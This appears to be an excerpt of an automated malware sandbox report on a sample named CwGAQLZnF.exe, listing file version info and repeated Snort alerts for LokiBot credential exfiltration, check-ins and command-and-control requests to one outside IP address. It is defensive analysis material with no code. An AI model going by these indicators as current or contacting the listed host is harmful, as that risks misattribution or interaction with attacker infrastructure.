InternalName	CwGAQLZnF.exe
FileVersion	4.2.1.4
CompanyName
LegalTrademarks
Comments
ProductName	InternalPartition
ProductVersion	4.2.1.4
FileDescription	InternalPartition
OriginalFilename	CwGAQLZnF.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/04/21-13:55:50.846349	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49712	80	192.168.2.5	172.67.155.45
08/04/21-13:55:50.846349	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.5	172.67.155.45
08/04/21-13:55:50.846349	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.410425	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49713	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.410425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.410425	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.858209	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.858209	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.5	172.67.155.45
08/04/21-13:55:51.858209	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.5	172.67.155.45
08/04/21-13:55:52.481427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.5	172.67.155.45
08/04/21-13:55:52.481427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.5	172.67.155.45
08/04/21-13:55:52.481427	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.024468	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.024468	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.024468	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.585955	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.585955	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.5	172.67.155.45
08/04/21-13:55:53.585955	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.118804	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.118804	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.118804	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.656662	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.656662	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.5	172.67.155.45
08/04/21-13:55:54.656662	TCP	2025381	ET TROJAN LokiBot Checkin	49719	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.230171	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.230171	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.230171	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.774218	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.774218	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.5	172.67.155.45
08/04/21-13:55:55.774218	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.345642	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.345642	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.345642	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.929678	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.929678	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.5	172.67.155.45
08/04/21-13:55:56.929678	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.5	172.67.155.45
08/04/21-13:55:57.483325	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.5	172.67.155.45
08/04/21-13:55:57.483325	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.5	172.67.155.45
08/04/21-13:55:57.483325	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.049044	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.049044	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.049044	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.751906	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.751906	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.5	172.67.155.45
08/04/21-13:55:58.751906	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.5	172.67.155.45
08/04/21-13:55:59.320929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.5	172.67.155.45
08/04/21-13:55:59.320929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.5	172.67.155.45
08/04/21-13:55:59.320929	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.5	172.67.155.45
08/04/21-13:56:00.026581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.5	172.67.155.45
08/04/21-13:56:00.026581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.5	172.67.155.45
08/04/21-13:56:00.026581	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.5	172.67.155.45
08/04/21-13:56:01.635391	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.5	172.67.155.45
08/04/21-13:56:01.635391	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.5	172.67.155.45
08/04/21-13:56:01.635391	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.324686	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.324686	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.324686	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.913960	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.913960	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.5	172.67.155.45
08/04/21-13:56:02.913960	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.5	172.67.155.45
08/04/21-13:56:03.484245	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.5	172.67.155.45
08/04/21-13:56:03.484245	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.5	172.67.155.45
08/04/21-13:56:03.484245	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.061125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.061125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.061125	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.652288	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.652288	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.5	172.67.155.45
08/04/21-13:56:04.652288	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.239966	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.239966	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.239966	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.797017	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.797017	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.5	172.67.155.45
08/04/21-13:56:05.797017	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.349741	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49738	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.349741	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.349741	TCP	2025381	ET TROJAN LokiBot Checkin	49738	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.909193	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49739	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.909193	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49739	80	192.168.2.5	172.67.155.45
08/04/21-13:56:06.909193	TCP	2025381	ET TROJAN LokiBot Checkin	49739	80	192.168.2.5	172.67.155.45
08/04/21-13:56:07.486883	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.5	172.67.155.45
08/04/21-13:56:07.486883	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.5	172.67.155.45
08/04/21-13:56:07.486883	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.047801	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.047801	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.047801	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.594594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.594594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.5	172.67.155.45
08/04/21-13:56:08.594594	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.193658	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.193658	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.193658	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.862544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.862544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.5	172.67.155.45
08/04/21-13:56:09.862544	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.5	172.67.155.45
08/04/21-13:56:10.451918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.5	172.67.155.45
08/04/21-13:56:10.451918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.5	172.67.155.45
08/04/21-13:56:10.451918	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.113178	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.113178	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.113178	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.639732	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.639732	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.5	172.67.155.45
08/04/21-13:56:11.639732	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.175400	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.175400	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.175400	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.730545	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.730545	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.5	172.67.155.45
08/04/21-13:56:12.730545	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.315888	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.315888	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.315888	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.888305	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.888305	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.5	172.67.155.45
08/04/21-13:56:13.888305	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.5	172.67.155.45
08/04/21-13:56:14.555655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.5	172.67.155.45
08/04/21-13:56:14.555655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.5	172.67.155.45
08/04/21-13:56:14.555655	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.095796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49753	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.095796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.095796	TCP	2025381	ET TROJAN LokiBot Checkin	49753	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.665074	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.665074	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.5	172.67.155.45
08/04/21-13:56:15.665074	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.256108	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.256108	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49757	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.256108	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.892060	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.892060	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.5	172.67.155.45
08/04/21-13:56:16.892060	TCP	2025381	ET TROJAN LokiBot Checkin	49758	80	192.168.2.5	172.67.155.45
08/04/21-13:56:17.396892	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.5	172.67.155.45
08/04/21-13:56:17.396892	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.5	172.67.155.45
08/04/21-13:56:17.396892	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.5	172.67.155.45
08/04/21-13:56:18.382397	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.5	172.67.155.45
08/04/21-13:56:18.382397	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49760	80	192.168.2.5	172.67.155.45
08/04/21-13:56:18.382397	TCP	2025381	ET TROJAN LokiBot Checkin	49760	80	192.168.2.5	172.67.155.45
08/04/21-13:56:19.667317	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.5	172.67.155.45
08/04/21-13:56:19.667317	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49761	80	192.168.2.5	172.67.155.45
08/04/21-13:56:19.667317	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.212971	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.212971	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.212971	TCP	2025381	ET TROJAN LokiBot Checkin	49762	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.937885	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49763	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.937885	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49763	80	192.168.2.5	172.67.155.45
08/04/21-13:56:20.937885	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.431323	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.431323	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49765	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.431323	TCP	2025381	ET TROJAN LokiBot Checkin	49765	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.951268	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49766	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.951268	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49766	80	192.168.2.5	172.67.155.45
08/04/21-13:56:21.951268	TCP	2025381	ET TROJAN LokiBot Checkin	49766	80	192.168.2.5	172.67.155.45
08/04/21-13:56:22.609944	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.5	172.67.155.45
08/04/21-13:56:22.609944	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49767	80	192.168.2.5	172.67.155.45
08/04/21-13:56:22.609944	TCP	2025381	ET TROJAN LokiBot Checkin	49767	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.116601	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.116601	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.116601	TCP	2025381	ET TROJAN LokiBot Checkin	49768	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.660211	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49769	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.660211	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49769	80	192.168.2.5	172.67.155.45
08/04/21-13:56:23.660211	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.178186	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.178186	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.178186	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.689471	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49771	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.689471	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.5	172.67.155.45
08/04/21-13:56:24.689471	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.242125	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.242125	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.242125	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.754839	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.754839	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.5	172.67.155.45
08/04/21-13:56:25.754839	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.261594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.261594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.261594	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.757570	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.757570	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.5	172.67.155.45
08/04/21-13:56:26.757570	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.272518	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.272518	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.272518	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.806679	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.806679	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.5	172.67.155.45
08/04/21-13:56:27.806679	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.303980	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.303980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.303980	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.838259	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.838259	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.5	172.67.155.45
08/04/21-13:56:28.838259	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.346416	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.346416	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.346416	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.841647	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.841647	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.5	172.67.155.45
08/04/21-13:56:29.841647	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.326192	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.326192	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.326192	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.845405	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.845405	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.5	172.67.155.45
08/04/21-13:56:30.845405	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.351156	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.351156	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.351156	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.839355	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.839355	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.5	172.67.155.45
08/04/21-13:56:31.839355	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.346106	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.346106	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.346106	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.870714	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.870714	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.5	172.67.155.45
08/04/21-13:56:32.870714	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.5	172.67.155.45
08/04/21-13:56:33.401243	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.5	172.67.155.45
